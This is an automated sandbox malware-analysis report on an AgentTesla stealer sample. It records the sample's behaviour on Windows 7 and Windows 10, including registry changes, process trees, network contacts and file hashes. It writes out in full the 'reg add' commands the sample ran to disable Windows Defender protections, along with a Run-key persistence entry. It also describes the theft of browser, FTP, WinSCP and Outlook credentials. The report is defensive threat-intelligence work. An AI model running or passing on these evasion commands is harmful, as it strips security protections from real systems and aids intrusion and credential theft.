Malware Analysis Report

2025-01-19 05:04

Sample ID 240605-mvag1add5x
Target 97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118
SHA256 830c00fa954d70ef4fb399992385cbc21cd3ccfaf937ecb796c1c736b8a13556
Tags
agenttesla collection evasion keylogger persistence spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

830c00fa954d70ef4fb399992385cbc21cd3ccfaf937ecb796c1c736b8a13556

Threat Level: Known bad

The file 97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

agenttesla collection evasion keylogger persistence spyware stealer trojan

Modifies Windows Defender Real-time Protection settings

AgentTesla

AgentTesla payload

Checks computer location settings

Reads WinSCP keys stored on the system

Reads user/profile data of web browsers

Reads data files stored by FTP clients

Executes dropped EXE

Loads dropped DLL

Reads user/profile data of local email clients

Adds Run key to start application

Accesses Microsoft Outlook profiles

Looks up external IP address via web service

Enumerates physical storage devices

Unsigned PE

Suspicious use of FindShellTrayWindow

outlook_win_path

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

outlook_office_path

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-05 10:46

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-05 10:46

Reported

2024-06-05 10:49

Platform

win7-20240220-en

Max time kernel

118s

Max time network

119s

Command Line

"C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe"

Signatures

AgentTesla

keylogger trojan stealer spyware agenttesla

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A

AgentTesla payload

Description Indicator Process Target
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

Reads WinSCP keys stored on the system

spyware stealer

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\cCNVeCBl = "C:\\Users\\Admin\\AppData\\Roaming\\OYwEIOW\\VeBRa.exe" C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\DllHost.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2904 wrote to memory of 2792 N/A C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe
PID 2904 wrote to memory of 2792 N/A C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe
PID 2904 wrote to memory of 2792 N/A C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe
PID 2904 wrote to memory of 2792 N/A C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe
PID 2792 wrote to memory of 2704 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe C:\Windows\system32\cmd.exe
PID 2792 wrote to memory of 2704 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe C:\Windows\system32\cmd.exe
PID 2792 wrote to memory of 2704 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe C:\Windows\system32\cmd.exe
PID 2792 wrote to memory of 2704 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe C:\Windows\system32\cmd.exe
PID 2704 wrote to memory of 2324 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2324 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2324 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2672 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2672 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2672 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2404 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2404 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2404 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2424 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2424 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2424 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2456 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2456 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2456 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2468 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2468 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2468 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2560 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2560 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2560 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2344 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2344 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2344 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2872 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2872 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2872 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2720 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2720 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2704 wrote to memory of 2720 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2904 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe
PID 2904 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe
PID 2904 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe
PID 2904 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1584.tmp\1585.tmp\1586.bat C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe"

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f

C:\Windows\SysWOW64\DllHost.exe

C:\Windows\SysWOW64\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}

C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 api.ipify.org udp
US 104.26.13.205:443 api.ipify.org tcp
US 104.26.13.205:443 api.ipify.org tcp
US 8.8.8.8:53 mail.wtaxtraction.com udp

Files

\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe

MD5 6fe5c9b4c64e330be1f56a263fbfa620
SHA1 764633b8102846fcbc83850178ec58ece2fa0ed0
SHA256 904989b89c9185917059924a585ce9c7f9d18e928bc429c2ea93d058ac73396f
SHA512 c2204ee708a7088c7262042d099e3942ea8c453df0c2615ae72d9f2f5b2e871c6f0fdae50459df16e3d5c103449693aac716f4a2a83408771b5c476e2fec65e4

C:\Users\Admin\AppData\Local\Temp\1584.tmp\1585.tmp\1586.bat

MD5 49910cb3f37fd8841e0d99a5d4c3a5e3
SHA1 da9a68b48304fe8b5ba377bc7ef06a94c649c525
SHA256 203995fcd8cd29dfcb929f06676c258a8b35a62719863a6dfec4aa1b0f5a0a90
SHA512 03281eb739041cdeffc1eab96c12d3e7d20ade1ab588af3cb7e56c1d7f83ce668290a36553f5f0a3aa119a561d8e5bf4e7ad87549bebc245d28b68c4db8f4ee9

memory/2904-22-0x00000000023D0000-0x00000000023D2000-memory.dmp

memory/2080-23-0x0000000000130000-0x0000000000132000-memory.dmp

\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe

MD5 b247c1e7766568af825a09eb81c55936
SHA1 946d40d213944a4042328f79089f09069f027c99
SHA256 14d7bdb0ce532036ac9830842c936d22c4cac6bd3972f7dc52550bda4fd9dd64
SHA512 1b469808f863741811d195c55fd30acda1830dc0ffc89c0037bc5b63581391608795b6ed9708361286c65fae40ea31bf71643e2ed3f97aec44661b82ebb7c481

C:\Users\Admin\AppData\Local\Temp\RarSFX0\HUAWEI.jpg

MD5 dc0dde49b33855c361a46e082b850e00
SHA1 c0dcc3bf889ea869ec7297f7be98e952a653bb32
SHA256 442e040defcbd0081e2afb4e95f4e147c9cdc720c8d06355efcd96dd267be803
SHA512 68f37039752261b1541a3932d9ab769f4471bfaa2eaf945ffe83ed2f3ad24e5efebdb4c70f09e3f2576908401dc3ace804d22481b8ffab73b60f65e1a2d26af0

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-05 10:46

Reported

2024-06-05 10:49

Platform

win10v2004-20240508-en

Max time kernel

115s

Max time network

119s

Command Line

"C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe"

Signatures

AgentTesla

keylogger trojan stealer spyware agenttesla

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A

AgentTesla payload

Description Indicator Process Target
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

Reads WinSCP keys stored on the system

spyware stealer

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cCNVeCBl = "C:\\Users\\Admin\\AppData\\Roaming\\OYwEIOW\\VeBRa.exe" C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1112 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe
PID 1112 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe
PID 1112 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe
PID 2852 wrote to memory of 4280 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe C:\Windows\system32\cmd.exe
PID 2852 wrote to memory of 4280 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe C:\Windows\system32\cmd.exe
PID 4280 wrote to memory of 4008 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 4008 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 1100 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 1100 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 512 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 512 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 456 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 456 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 2560 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 2560 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 4992 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 4992 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 1972 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 1972 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 2904 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 2904 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 1444 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 1444 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 3316 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 3316 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 1436 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 1436 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 536 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4280 wrote to memory of 536 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 1112 wrote to memory of 4940 N/A C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe
PID 1112 wrote to memory of 4940 N/A C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe
PID 1112 wrote to memory of 4940 N/A C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\97ea1072cc7564dca5cd5cdc06f46477_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\43DF.tmp\43E0.tmp\43E1.bat C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe"

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
